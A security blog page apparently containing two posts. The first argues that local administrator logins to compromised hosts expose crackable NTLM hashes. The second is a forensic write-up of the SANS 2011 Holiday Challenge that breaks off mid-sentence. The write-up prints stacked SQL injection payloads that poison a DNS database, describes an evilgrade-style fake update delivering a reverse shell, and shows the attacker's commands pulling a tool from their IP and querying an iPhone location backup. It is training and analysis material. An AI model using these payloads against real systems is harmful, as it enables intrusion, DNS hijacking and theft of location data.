obscuresec: wireshark

Remotely connecting to a compromised machine is almost always a bad idea because of the tremendous amount of risk involved. It has been my experience that incident responders either underestimate or downplay that risk when writing procedures or handling incidents. I don't know whether its arrogance or ignorance, but either way the team I am on has frequently exploited it. Often times, escalating privileges in a domain is just a matter of waiting for an administrator (or incident responder) to connect to a machine that you've compromised and then impersonating those credentials to dump the hashes of the entire domain (including the responder's account).

Recently, a detailed article written by Mike Pilkington titled "Protecting Privileged Domain Accounts: Safeguarding Password Hashes" was published on the SANS Forensics Blog (I recommend that you read it before continuing). The article focuses on ways of protecting domain (NT or LM) password hashes (in memory) and briefly mentions other topics that will be discussed in future articles including Access Tokens and Network Authentication. The methodology used in the article is pretty solid and it was detailed enough for me to setup a similar lab network and recreate the work. However, I feel that the focus on hashes leads the reader to several false conclusions the most notable being that "Network Logins" are safe.

Here are 3 quotes that I feel lead the reader toward an inaccurate conclusion:

"...in all situations I can think of, the safest bet is to utilize a local administrative account if you already know the password."

"Network logons created by tools such as NET USE, WMIC, and PsExec (without "-u" alternate credentials) are safe to use with regard to protecting password hashes. (emphasis is mine) More to the point, any tool that uses only a network logon will prevent your password hashes from being available on the remote machine. To check other tools on your own, simply run the tool of interest against a remote test machine and verify in the remote Windows Event Logs that the tool only results in a Type 3 network logon."

"Also keep in mind, whether the compromised host is down the hall or on the other side of the world, using remote network logon connections is the only way to safely access the host with domain credentials."

This post is going to focus on the first misconception that local accounts are safer to use. For brevity’s sake, I will discuss what I feel are other misconceptions in the next post (UPDATE: Mike touches on a those issues in his latest post Safeguarding Access Tokens so I won't belabor the point.)

The following information applies to my lab environment:

Domain:                     obscuresec.lab
Compromised User:       joe.user
IR Account:                 incident.responder
"500" Account:              administrator
Compromised Host:       demo-XPSP2
IR Host:                         demo-IR
Attackers Box:              192.168.1.201
Firewall/Proxy:             192.168.1.200
Internal Network:          10.1.1.0/24

The first quote is mostly accurate if we are appropriately using the "worst-case" scenario. In the example used in the article, the attacker has most likely gained "NT AUTHORITY/SYSTEM"-level privileges on the box. That means the attacker has already gained access to the NT (or LM) hashes of all local accounts by any of the methods discussed in the article. Essentially, we are using an account that the attacker likely already owns.

What if we have detected the attack early and the attacker only has user-level credentials as a result of a client-side attack? What if the attacker hasn't had the opportunity to try these methods of gaining more privilege? Let's see what could happen if we use the local administrator account to investigate.

Soon after compromising the box with a meterpreter session, the attacker loads the sniffer extension and sniffs the network. The incident responder uses the local administrator account and "net use" to mount a share to the compromised box and investigates with PsExec.

Next, the attacker analyzes the PCAP for credentials. An easy way to pull credentials from a PCAP is to use Cain. Cain displays the NTLM Session Security Hashes which would need to be cracked in order to be useful to the attacker.

As pointed out in the referenced blog post, PsExec passes the username and password in cleartext so that will always be a bad idea. Instead, PowerShell or WMIC should be used to prevent the credentials from being snagged off the wire in cleartext.

So now the attacker has access to the local "500 account" NTLM session security hash. This hash can't be passed (it is not the NT hash), but it can be cracked. If it is cracked, the password is more than likely shared by the administrator account on many other workstations. Now the scenario appears to have changed to a race condition. Can the attacker crack the password before you can remove his or her access? Unfortunately, that argument is also shortsighted. The attacker can voluntarily disconnect and can take as long as it takes for you to change every workstation's administrator password.

The odds are in the attackers favor if the password is stored in LM or the attacker has discovered a pattern similar to the one used to set the password. Then, the only thing stopping the attacker is getting back in through a similar client-side attack no matter what you do with the compromised host. Then the attacker can use WMIC to "administer" any machine that is using the password which is a situation far worse than a single compromised host.

Also, it is generally easier to track the use of domain account versus a local account. Very few organizations have the ability to quickly (without connecting to each host) correlate local account usage through the event log.

In this case, the attacker was able to crack the password with his dictionary and Cain. In my experience, it's just over half the time that we are able to crack the password. The odds are in the attackers favor whether the account is local or domain.

My argument is that a tailored-access domain account is more appropriate. I recommend that the account used for risky activity should be low-privileged and heavily-monitored. The account can be disabled and a member of no groups until needed. When needed, the account can be enabled and added to the lowest-privileged group that can still administer the potentially-compromised box. Although there is still a tremendous amount of risk, it can be slightly mitigated by immediately changing the password of the account (rendering access tokens unusable) and disabling it after initial analysis is done.

This concept can be applied to most administrative and security tasks in order to prevent an excess of elevated account "access tokens" which I may still talk about in my next post. We'll see.

-Chris

I have recently warmed up to the idea of information security challenges, especially ones that are entertaining. The SANS Holiday challenge is a yearly can't miss and its obvious that Ed and the guys put in a lot of work to make it fun. I wasn't creative enough to win anything, but I wasn't technically wrong as far as I can tell. My narrative probably speaks to a small audience, but you may find it entertaining (or offensive depending on your point-of-view).

If you haven't completed the challenge and would like to, stop reading. The challenge is still available at http://pen-testing.sans.org/holiday-challenge. The solution and other narratives are available at http://pen-testing.sans.org/blog/2012/01/26/holiday-challenge-2011-winners-answers. My narrative and solution follow, but if you've read the other solutions just skip to the narrative (larger font) at the bottom. I did the challenge while traveling so I used Wireshark, Outlook Express and Firefox for the majority of it.

Technical Solution:

Forensic Analysis of USB Token

The People vs. Rudolph (aka the Red Nose Reindeer)

The following is my professional analysis of the network capture file provided.

Items in bold were typed by the attacker.

At 7:51 EST on 25 Dec 2011, an email (SMTP message) was sent from root@grandma.gma to cousinmel@mail.gma originating from IP address 192.168.1.10 connecting to an SMTP server at 192.168.1.3.

The X-X-Sender field was ‘root@bt’ which could indicate that the message was sent from a version of the Backtrack Linux distribution.

The email contained a Microsoft Word document as an attachment entitled ‘LetterToMel.doc’ and the following content:

Dear Mel,

Our plans are almost complete, and I am very excited. Soon, you and I shall be spending the rest of our days relaxing in the surf and sun!

The plan is highly sensitive, a deep secret that only the two of us share.

Never tell another soul about our clever scheme as long as you live.

As we discussed, I recently made you the sole beneficiary of my life insurance policy. On Christmas Eve, I plan on faking my own death, which I will frame as murder on Rudolph, Santa.s obnoxious reindeer.

The details of my plan are included in the attached document below. Read it carefully.

Merry Christmas!

Grandma

The attachment contained the following text:

Dear Mel,

Here are the details of my secret plan.

After the investigation turns up the evidence I plant, you provide eyewitness testimony in court, and Rudolph is convicted, you will receive the insurance payout. We can then use that money to fund our Caribbean retirement.

I am not sure I ever told you this, Mel, but as a child, my village was attacked by a ravenous band of rampaging reindeer, instilling a life-long hatred in me for the flea-bitten beasts. I’ll never forget their horrible comments as they galloped through our village. Because of that chilling childhood experience, I’m going to fake my death and blame it all on Rudolph, the most well-known reindeer of all. He’ll rot away in jail forever.

Merry Christmas,

Grandma

Embedded within the comments section of the Microsoft Metadata was the following message:

I will hide out at the Plaza Hotel near Central Park for several weeks, and meet you there in the lobby exactly one week after the trial concludes with a guilty verdict for Rudolph, precisely at noon local time. Make sure you bring the money in a suitcase full of cash. I’ll be wearing one red shoe.

At 7:51 EST on 25 Dec 2011, a user browsed to a website at 172.19.79.2 (URL www.santaslist.northpole) from 192.168.1.10.

The user was presented with the following:

The user entered the string ‘Grandma’ into the web form and clicked on the “Check on niceness” button. The website returned the following to the user’s browser:

The user then entered the string ‘Cousin Mel’ and clicked on the “Check on niceness” button.

The website returned the following to the user’s browser:

At 7:52, the user tested whether the website accepted meaningful database characters by entering a single ‘. The user’s browser returned the following:

This error message confirmed that SQL injection was possible through the website against the backend database. The user was also informed that the underlying database was MySQL.

The user then graduated to an attacker by entering the following commands in succession:

';show databases #

The attacker’s browser returned the following:

In this attack, the ‘;’ is used to stack multiple database queries together. The ‘#’ character represents a line comment in MySQL and is used to ignore the rest of the actual database query.

The output above informed the attacker that in addition to hosting a website, the server was also handling DNS responsibilities through a mydns database. The website http://mydns.bboy.net/ describes the product as “a free DNS server for UNIX. It was implemented from scratch and is designed to serve records directly from an SQL database.”

';show tables from mydns #

The attacker’s browser returned the following:

The attacker immediately targeted the mydns database. This command was used to enumerate the tables of the database.

';show columns from mydns.rr #

The attacker’s browser returned the following:

This command was used to enumerate the columns of the rr table in the mydns database. According to http://mydns.bboy.net/doc/html/mydns_10.html#SEC10, “The `rr' table contains all non-SOA resource record types.”

';show columns from mydns.soa #

The attacker’s browser returned the following:

This command was used to enumerate the columns of the soa table in the mydns database. This table contains each zone for which the server is authoritative.

';select * from mydns.soa #

The attacker’s browser returned the following:

The attacker enumerated the actual records found in the soa table. The DNS server was authoritative for the domain “santaslist.northpole.”

';insert into mydns.soa (origin,ns,mbox) values ("apple.com","ns1.santaslist.northpole","root.santaslist.northpole") #

The attacker’s browser returned the following:

The attacker built off the information gathered in the previous few commands. They attempted to insert a new record for apple.com into the DNS server. Since the attacker did not query any information from the database with this command, no return data was expected.

';select * from mydns.soa #

The attacker’s browser returned the following:

The attacker was verifying that they were successful in inserting the new record. The new record is present and the server was now authoritative for the “apple.com” domain.

';select * from mydns.rr #

The attacker’s browser returned the following:

The attacker enumerated the actual records found in the rr table. The DNS server contained “A” records for ns1 and www within the “santaslist.northpole” domain.

';insert into mydns.rr (zone,name,type,data) values (2,"itunes.apple.com","A","192.168.1.10") #

The attacker’s browser returned the following:

The attacker added an “A” record to point “itunes.apple.com” to the IP address 192.168.1.10. Since the attacker did not query any information from the database with this command, no return data was expected.

';insert into mydns.rr (zone,name,type,data) values (2,"ax.init.itunes.apple.com","A","192.168.1.10") #

The attacker’s browser returned the following:

The attacker added another “A” record to point "ax.init.itunes.apple.com" to the IP address 192.168.1.10. Since the attacker did not query any information from the database with this command, no return data was expected.

';insert into mydns.rr (zone,name,type,data) values (2,"swcatalog.apple.com","A","192.168.1.10") #

The attacker added another “A” record to point "swcatalog.apple.com" to the IP address 192.168.1.10. Since the attacker did not query any information from the database with this command, no return data was expected.

';insert into mydns.rr (zone,name,type,data) values (2,"swcdn.apple.com","A","192.168.1.10") #

The attacker added another “A” record to point "swcdn.apple.com" to the IP address 192.168.1.10. Since the attacker did not query any information from the database with this command, no return data was expected.

';insert into mydns.rr (zone,name,type,data) values (2,"swscan.apple.com","A","192.168.1.10") #

The attacker added another “A” record to point "swscan.apple.com" to the IP address 192.168.1.10. Since the attacker did not query any information from the database with this command, no return data was expected.

';select * from mydns.rr #

The attacker’s browser returned the following:

The attacker was verifying that each of the 5 added “A” records were injected into the DNS server. The DNS server would now resolve queries to any of those names to the attackers IP address. The DNS server was poisoned through SQL injection.

At 7:57 EST on 25 Dec 2011, a host at 172.19.79.6 apparently attempted to resolve ax.init.itunes.apple.com against the compromised DNS server. The iTunes software connected to 192.168.1.10 as a result of the previous DNS compromise.

The attacker’s server at 192.168.1.10 was configured to act as a malicious iTunes update server. This was most likely accomplished with the use of a tool such as ISR-evilgrade (http://www.infobytesec.com/down/isr-evilgrade-2.0.0.tar.gz) which is evidenced by the use of the Spanish language update. Several other connections were made between the iTunes software and the malicious server in order to facilitate the malicious update. The final step in the update process was to download the latest version of iTunesSetup.exe and execute it.

Analysis of the iTunesSetup.exe file revealed that was a malicious binary that makes an outbound connection to the attackers IP address and gives the attacker a reverse shell. The exe was scanned with the 43 antivirus products at virustotal.com and had an extremely high detection rate. It is most likely an encoded Metasploit payload (windows/reverse/shell).

The attacker had command-line access to the Windows host, but chose not to use a payload with encryption. Each command that the attacker entered were captured in the network packets.

C:\Documents and Settings\Rudolph\Desktop>cd ..\Application Data\Apple Computer\MobileSync\Backup

The attacker used “cd” to change to the “C:\Documents and Settings\Rudolph\Application Data\Apple Computer\MobileSync\Backup” directory.

C:\Documents and Settings\Rudolph\Application Data\Apple Computer\MobileSync\Backup>dir

Volume in drive C has no label.

Volume Serial Number is 10C3-ECBB

Directory of C:\Documents and Settings\Rudolph\Application Data\Apple Computer\MobileSync\Backup

12/01/2011 04:43 PM <DIR> .

12/01/2011 04:43 PM <DIR> ..

12/25/2011 07:34 AM <DIR> e409a4c01ece2a9e6bf9267b169f3b15616b98cd

0 File(s) 0 bytes

3 Dir(s) 6,939,766,784 bytes free

The attacker issued the “dir” command in order to view the file and folder contents of the current directory.

C:\Documents and Settings\Rudolph\Application Data\Apple Computer\MobileSync\Backup>cd e409a4c01ece2a9e6bf9267b169f3b15616b98cd

The attacker then changed to the “e409a4c01ece2a9e6bf9267b169f3b15616b98cd” directory.

C:\Documents and Settings\Rudolph\Application Data\Apple Computer\MobileSync\Backup\e409a4c01ece2a9e6bf9267b169f3b15616b98cd>ftp -A 192.168.1.10

Anonymous login succeeded for Rudolph@RUDOLPH-PC

get sqlite3.exe

bye

The attacker then used FTP to connect to their own FTP server with Anonymous access allowed. The connection attacker uses the anonymous access and uses a password of Rudolph@RUDOLPH-PC, but anonymous access allows for the use of any password. The attacker downloaded sqlite3.exe which is a tool used to connect to database files.

C:\Documents and Settings\Rudolph\Application Data\Apple Computer\MobileSync\Backup\e409a4c01ece2a9e6bf9267b169f3b15616b98cd>sqlite3 4096c9ec676f2847dc283405900e284a7c815836 "select * from CellLocation"

310|410|11504|165415283|346413600.207493|90.0|0.0|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11560|165415876|346417200.724667|-36.848461|174.763333|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11913|165415988|346424400.845503|-33.87365|151.206889|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11490|165415931|346431600.789114|35.689489|139.691706|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11486|165415119|346433400.698928|40.332808|116.47765|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11387|165415444|346435200.577698|39.904214|116.407414|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11647|165415648|346449600.307924|55.752505|37.623168|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11563|165415337|346458600.605536|52.523406|13.4114|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11293|165419827|346460400.123529|48.858362|2.294242|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11245|165415050|346464000.957372|51.505624|-0.075383|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11341|165413757|346471200.820172|-22.903539|-43.209587|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11146|165413900|346478400.428421|18.467964|-66.108809|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11150|165413038|346480200.261264|6.42375|-66.58973|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11342|165415572|346482000.116289|40.748245|-73.985534|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11880|165413161|346483440.664151|43.653226|-79.383184|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11537|165415788|346484520.528258|40.440625|-79.995886|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11363|165415476|346485600.313375|41.8789|-87.63584|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11686|165413799|346489201.224764|39.739094|-104.984898|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11998|165414519|346492800.167865|37.819751|-122.478168|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11312|165413083|346496400.422522|61.190009|-149.870694|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11409|165413229|346500000.268656|21.307237|-157.858055|1414.0|0.0|-1.0|-1.0|-1.0|50

310|410|11504|165415284|346503600.473327|90.0|0.0|1414.0|0.0|-1.0|-1.0|-1.0|50

The attacker utilized the uploaded tool to query the CellLocation database for all records.

The attacker inserted a location record for the coordinates “40.771500,-73.978833” into the backup database. That location is identified as a park bench in New York City’s Central Park: